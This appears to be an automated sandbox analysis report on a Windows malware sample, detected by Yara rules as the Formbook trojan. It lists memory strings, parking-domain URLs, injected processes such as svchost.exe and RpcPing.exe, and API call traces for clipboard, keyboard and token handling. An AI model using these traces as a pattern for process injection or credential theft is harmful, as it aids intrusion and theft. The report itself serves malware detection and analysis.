Source: RpcPing.exe, 00000005.00000002.4127083272.00000000027DD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: RpcPing.exe, 00000005.00000002.4129603004.0000000004AAE000.00000004.10000000.00040000.00000000.sdmp, auuGcaPMTDojV.exe, 00000008.00000002.4128831600.00000000043AE000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://parking.reg.ru/script/get_domain_data?domain_name=www.torex33.online&rand=
Source: RpcPing.exe, 00000005.00000002.4129603004.0000000004AAE000.00000004.10000000.00040000.00000000.sdmp, auuGcaPMTDojV.exe, 00000008.00000002.4128831600.00000000043AE000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://reg.ru
Source: RpcPing.exe, 00000005.00000003.2078909862.000000000766D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: RpcPing.exe, 00000005.00000003.2078909862.000000000766D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: RpcPing.exe, 00000005.00000002.4129603004.0000000004AAE000.00000004.10000000.00040000.00000000.sdmp, auuGcaPMTDojV.exe, 00000008.00000002.4128831600.00000000043AE000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com/gtag/js?id=UA-3380909-25
Source: RpcPing.exe, 00000005.00000002.4129603004.0000000004AAE000.00000004.10000000.00040000.00000000.sdmp, auuGcaPMTDojV.exe, 00000008.00000002.4128831600.00000000043AE000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.reg.ru/dedicated/?utm_source=www.torex33.online&utm_medium=parking&utm_campaign=s_land_s
Source: RpcPing.exe, 00000005.00000002.4129603004.0000000004AAE000.00000004.10000000.00040000.00000000.sdmp, auuGcaPMTDojV.exe, 00000008.00000002.4128831600.00000000043AE000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.reg.ru/domain/new/?utm_source=www.torex33.online&utm_medium=parking&utm_campaign=s_land_
Source: RpcPing.exe, 00000005.00000002.4129603004.0000000004AAE000.00000004.10000000.00040000.00000000.sdmp, auuGcaPMTDojV.exe, 00000008.00000002.4128831600.00000000043AE000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.reg.ru/hosting/?utm_source=www.torex33.online&utm_medium=parking&utm_campaign=s_land_hos
Source: RpcPing.exe, 00000005.00000002.4129603004.0000000004AAE000.00000004.10000000.00040000.00000000.sdmp, auuGcaPMTDojV.exe, 00000008.00000002.4128831600.00000000043AE000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.reg.ru/web-sites/?utm_source=www.torex33.online&utm_medium=parking&utm_campaign=s_land_c
Source: RpcPing.exe, 00000005.00000002.4129603004.0000000004AAE000.00000004.10000000.00040000.00000000.sdmp, auuGcaPMTDojV.exe, 00000008.00000002.4128831600.00000000043AE000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.reg.ru/web-sites/website-builder/?utm_source=www.torex33.online&utm_medium=parking&utm_c
Source: RpcPing.exe, 00000005.00000002.4129603004.0000000004AAE000.00000004.10000000.00040000.00000000.sdmp, auuGcaPMTDojV.exe, 00000008.00000002.4128831600.00000000043AE000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.reg.ru/whois/?check=&dname=www.torex33.online&reg_source=parking_auto

Source: C:\Users\user\Desktop\N2Qncau2rN.exe

Code function: 0_2_0045A10F OpenClipboard,EmptyClipboard,CloseClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

0_2_0045A10F

Source: C:\Users\user\Desktop\N2Qncau2rN.exe

Code function: 0_2_0045A10F OpenClipboard,EmptyClipboard,CloseClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

0_2_0045A10F

Source: C:\Users\user\Desktop\N2Qncau2rN.exe

Code function: 0_2_0046DC80 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,

0_2_0046DC80

Source: C:\Users\user\Desktop\N2Qncau2rN.exe

Code function: 0_2_0044C37A GetKeyboardState,SetKeyboardState,PostMessageW,PostMessageW,SendInput,

0_2_0044C37A

Source: C:\Users\user\Desktop\N2Qncau2rN.exe

Code function: 0_2_0047C81C SendMessageW,DefDlgProcW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,GetWindowLongW,SendMessageW,SendMessageW,SendMessageW,_wcsncpy,SendMessageW,SendMessageW,SendMessageW,InvalidateRect,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

0_2_0047C81C

E-Banking Fraud

Malicious sample detected (through community Yara rule)

Source: Yara match	File source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.4128778951.00000000029B0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4128752269.0000000004BC0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1888404688.00000000032D0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1886252240.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.4131107461.0000000004F90000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4122907990.0000000000470000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4126780482.0000000002730000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1888965861.0000000006200000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

System Summary

Source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000005.00000002.4128778951.00000000029B0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000003.00000002.4128752269.0000000004BC0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000002.00000002.1888404688.00000000032D0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000002.00000002.1886252240.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000008.00000002.4131107461.0000000004F90000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000005.00000002.4122907990.0000000000470000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000005.00000002.4126780482.0000000002730000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000002.00000002.1888965861.0000000006200000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0042C4E3 NtClose,	2_2_0042C4E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472B60 NtClose,LdrInitializeThunk,	2_2_03472B60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472DF0 NtQuerySystemInformation,LdrInitializeThunk,	2_2_03472DF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472C70 NtFreeVirtualMemory,LdrInitializeThunk,	2_2_03472C70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034735C0 NtCreateMutant,LdrInitializeThunk,	2_2_034735C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03474340 NtSetContextThread,	2_2_03474340
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03474650 NtSuspendThread,	2_2_03474650
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472BE0 NtQueryValueKey,	2_2_03472BE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472BF0 NtAllocateVirtualMemory,	2_2_03472BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472B80 NtQueryInformationFile,	2_2_03472B80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472BA0 NtEnumerateValueKey,	2_2_03472BA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472AD0 NtReadFile,	2_2_03472AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472AF0 NtWriteFile,	2_2_03472AF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472AB0 NtWaitForSingleObject,	2_2_03472AB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472F60 NtCreateProcessEx,	2_2_03472F60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472F30 NtCreateSection,	2_2_03472F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472FE0 NtCreateFile,	2_2_03472FE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472F90 NtProtectVirtualMemory,	2_2_03472F90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472FA0 NtQuerySection,	2_2_03472FA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472FB0 NtResumeThread,	2_2_03472FB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472E30 NtWriteVirtualMemory,	2_2_03472E30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472EE0 NtQueueApcThread,	2_2_03472EE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472E80 NtReadVirtualMemory,	2_2_03472E80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472EA0 NtAdjustPrivilegesToken,	2_2_03472EA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472D00 NtSetInformationFile,	2_2_03472D00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472D10 NtMapViewOfSection,	2_2_03472D10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472D30 NtUnmapViewOfSection,	2_2_03472D30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472DD0 NtDelayExecution,	2_2_03472DD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472DB0 NtEnumerateKey,	2_2_03472DB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472C60 NtCreateKey,	2_2_03472C60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472C00 NtQueryInformationProcess,	2_2_03472C00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472CC0 NtQueryVirtualMemory,	2_2_03472CC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472CF0 NtOpenProcess,	2_2_03472CF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472CA0 NtQueryInformationToken,	2_2_03472CA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03473010 NtOpenDirectoryObject,	2_2_03473010
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03473090 NtSetValueKey,	2_2_03473090
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034739B0 NtGetContextThread,	2_2_034739B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03473D70 NtOpenThread,	2_2_03473D70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03473D10 NtOpenProcessToken,	2_2_03473D10
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02CA4340 NtSetContextThread,LdrInitializeThunk,	5_2_02CA4340
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02CA4650 NtSuspendThread,LdrInitializeThunk,	5_2_02CA4650
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02CA2AD0 NtReadFile,LdrInitializeThunk,	5_2_02CA2AD0
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02CA2AF0 NtWriteFile,LdrInitializeThunk,	5_2_02CA2AF0
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02CA2BE0 NtQueryValueKey,LdrInitializeThunk,	5_2_02CA2BE0
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02CA2BF0 NtAllocateVirtualMemory,LdrInitializeThunk,	5_2_02CA2BF0
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02CA2BA0 NtEnumerateValueKey,LdrInitializeThunk,	5_2_02CA2BA0
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02CA2B60 NtClose,LdrInitializeThunk,	5_2_02CA2B60
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02CA2EE0 NtQueueApcThread,LdrInitializeThunk,	5_2_02CA2EE0
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02CA2E80 NtReadVirtualMemory,LdrInitializeThunk,	5_2_02CA2E80
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02CA2FE0 NtCreateFile,LdrInitializeThunk,	5_2_02CA2FE0
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02CA2FB0 NtResumeThread,LdrInitializeThunk,	5_2_02CA2FB0
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02CA2F30 NtCreateSection,LdrInitializeThunk,	5_2_02CA2F30
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02CA2CA0 NtQueryInformationToken,LdrInitializeThunk,	5_2_02CA2CA0
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02CA2C60 NtCreateKey,LdrInitializeThunk,	5_2_02CA2C60
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02CA2C70 NtFreeVirtualMemory,LdrInitializeThunk,	5_2_02CA2C70
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02CA2DD0 NtDelayExecution,LdrInitializeThunk,	5_2_02CA2DD0
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02CA2DF0 NtQuerySystemInformation,LdrInitializeThunk,	5_2_02CA2DF0
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02CA2D10 NtMapViewOfSection,LdrInitializeThunk,	5_2_02CA2D10
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02CA2D30 NtUnmapViewOfSection,LdrInitializeThunk,	5_2_02CA2D30
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02CA35C0 NtCreateMutant,LdrInitializeThunk,	5_2_02CA35C0
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02CA39B0 NtGetContextThread,LdrInitializeThunk,	5_2_02CA39B0
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02CA2AB0 NtWaitForSingleObject,	5_2_02CA2AB0
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02CA2B80 NtQueryInformationFile,	5_2_02CA2B80
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02CA2EA0 NtAdjustPrivilegesToken,	5_2_02CA2EA0
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02CA2E30 NtWriteVirtualMemory,	5_2_02CA2E30
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02CA2F90 NtProtectVirtualMemory,	5_2_02CA2F90
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02CA2FA0 NtQuerySection,	5_2_02CA2FA0
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02CA2F60 NtCreateProcessEx,	5_2_02CA2F60
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02CA2CC0 NtQueryVirtualMemory,	5_2_02CA2CC0
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02CA2CF0 NtOpenProcess,	5_2_02CA2CF0
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02CA2C00 NtQueryInformationProcess,	5_2_02CA2C00
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02CA2DB0 NtEnumerateKey,	5_2_02CA2DB0
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02CA2D00 NtSetInformationFile,	5_2_02CA2D00
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02CA3090 NtSetValueKey,	5_2_02CA3090
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02CA3010 NtOpenDirectoryObject,	5_2_02CA3010
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02CA3D70 NtOpenThread,	5_2_02CA3D70
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02CA3D10 NtOpenProcessToken,	5_2_02CA3D10
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_00498FD0 NtCreateFile,	5_2_00498FD0
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_00499140 NtReadFile,	5_2_00499140
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_00499230 NtDeleteFile,	5_2_00499230
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_004992D0 NtClose,	5_2_004992D0
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_00499430 NtAllocateVirtualMemory,	5_2_00499430

Source: C:\Users\user\Desktop\N2Qncau2rN.exe

Code function: 0_2_00431BE8: GetFullPathNameW,__swprintf,_wcslen,CreateDirectoryW,CreateFileW,_wcsncpy,DeviceIoControl,CloseHandle,RemoveDirectoryW,CloseHandle,

0_2_00431BE8

Source: C:\Users\user\Desktop\N2Qncau2rN.exe

Code function: 0_2_00446313 DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcslen,_wcsncpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

0_2_00446313

Source: C:\Users\user\Desktop\N2Qncau2rN.exe

Code function: 0_2_004333BE GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,SetSystemPowerState,

0_2_004333BE

Source: C:\Users\user\Desktop\N2Qncau2rN.exe	Code function: 0_2_004096A0	0_2_004096A0
Source: C:\Users\user\Desktop\N2Qncau2rN.exe	Code function: 0_2_0042200C	0_2_0042200C
Source: C:\Users\user\Desktop\N2Qncau2rN.exe	Code function: 0_2_0041A217	0_2_0041A217
Source: C:\Users\user\Desktop\N2Qncau2rN.exe	Code function: 0_2_00412216	0_2_00412216
Source: C:\Users\user\Desktop\N2Qncau2rN.exe	Code function: 0_2_0042435D	0_2_0042435D
Source: C:\Users\user\Desktop\N2Qncau2rN.exe	Code function: 0_2_004033C0	0_2_004033C0
Source: C:\Users\user\Desktop\N2Qncau2rN.exe	Code function: 0_2_0044F430	0_2_0044F430
Source: C:\Users\user\Desktop\N2Qncau2rN.exe	Code function: 0_2_004125E8	0_2_004125E8
Source: C:\Users\user\Desktop\N2Qncau2rN.exe	Code function: 0_2_0044663B	0_2_0044663B
Source: C:\Users\user\Desktop\N2Qncau2rN.exe	Code function: 0_2_00413801	0_2_00413801
Source: C:\Users\user\Desktop\N2Qncau2rN.exe	Code function: 0_2_0042096F	0_2_0042096F
Source: C:\Users\user\Desktop\N2Qncau2rN.exe	Code function: 0_2_004129D0	0_2_004129D0
Source: C:\Users\user\Desktop\N2Qncau2rN.exe	Code function: 0_2_004119E3	0_2_004119E3
Source: C:\Users\user\Desktop\N2Qncau2rN.exe	Code function: 0_2_0041C9AE	0_2_0041C9AE
Source: C:\Users\user\Desktop\N2Qncau2rN.exe	Code function: 0_2_0047EA6F	0_2_0047EA6F
Source: C:\Users\user\Desktop\N2Qncau2rN.exe	Code function: 0_2_0040FA10	0_2_0040FA10
Source: C:\Users\user\Desktop\N2Qncau2rN.exe	Code function: 0_2_0044EB5F	0_2_0044EB5F
Source: C:\Users\user\Desktop\N2Qncau2rN.exe	Code function: 0_2_00423C81	0_2_00423C81
Source: C:\Users\user\Desktop\N2Qncau2rN.exe	Code function: 0_2_00411E78	0_2_00411E78
Source: C:\Users\user\Desktop\N2Qncau2rN.exe	Code function: 0_2_00442E0C	0_2_00442E0C
Source: C:\Users\user\Desktop\N2Qncau2rN.exe	Code function: 0_2_00420EC0	0_2_00420EC0
Source: C:\Users\user\Desktop\N2Qncau2rN.exe	Code function: 0_2_0044CF17	0_2_0044CF17
Source: C:\Users\user\Desktop\N2Qncau2rN.exe	Code function: 0_2_00444FD2	0_2_00444FD2
Source: C:\Users\user\Desktop\N2Qncau2rN.exe	Code function: 0_2_040DF620	0_2_040DF620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00418443	2_2_00418443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004011C0	2_2_004011C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0042EB13	2_2_0042EB13
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004023A0	2_2_004023A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040FC7A	2_2_0040FC7A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040FC83	2_2_0040FC83
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00416623	2_2_00416623
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040FEA3	2_2_0040FEA3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004026AA	2_2_004026AA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004026B0	2_2_004026B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00402F70	2_2_00402F70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040DF23	2_2_0040DF23
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034FA352	2_2_034FA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0344E3F0	2_2_0344E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035003E6	2_2_035003E6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034E0274	2_2_034E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034C02C0	2_2_034C02C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034C8158	2_2_034C8158
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03430100	2_2_03430100
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034DA118	2_2_034DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034F81CC	2_2_034F81CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035001AA	2_2_035001AA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034D2000	2_2_034D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03464750	2_2_03464750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03440770	2_2_03440770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343C7C0	2_2_0343C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0345C6E0	2_2_0345C6E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03440535	2_2_03440535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03500591	2_2_03500591
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034F2446	2_2_034F2446
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034E4420	2_2_034E4420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034EE4F6	2_2_034EE4F6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034FAB40	2_2_034FAB40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034F6BD7	2_2_034F6BD7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343EA80	2_2_0343EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03456962	2_2_03456962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034429A0	2_2_034429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0350A9A6	2_2_0350A9A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0344A840	2_2_0344A840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03442840	2_2_03442840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346E8F0	2_2_0346E8F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034268B8	2_2_034268B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B4F40	2_2_034B4F40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03482F28	2_2_03482F28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03460F30	2_2_03460F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034E2F30	2_2_034E2F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03432FC8	2_2_03432FC8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0344CFE0	2_2_0344CFE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034BEFA0	2_2_034BEFA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03440E59	2_2_03440E59
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034FEE26	2_2_034FEE26
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034FEEDB	2_2_034FEEDB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03452E90	2_2_03452E90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034FCE93	2_2_034FCE93
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0344AD00	2_2_0344AD00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034DCD1F	2_2_034DCD1F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343ADE0	2_2_0343ADE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03458DBF	2_2_03458DBF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03440C00	2_2_03440C00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03430CF2	2_2_03430CF2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034E0CB5	2_2_034E0CB5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0342D34C	2_2_0342D34C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034F132D	2_2_034F132D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0348739A	2_2_0348739A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0345B2C0	2_2_0345B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034E12ED	2_2_034E12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034452A0	2_2_034452A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0347516C	2_2_0347516C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0342F172	2_2_0342F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0350B16B	2_2_0350B16B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0344B1B0	2_2_0344B1B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034EF0CC	2_2_034EF0CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034470C0	2_2_034470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034F70E9	2_2_034F70E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034FF0E0	2_2_034FF0E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034FF7B0	2_2_034FF7B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034F16CC	2_2_034F16CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034F7571	2_2_034F7571
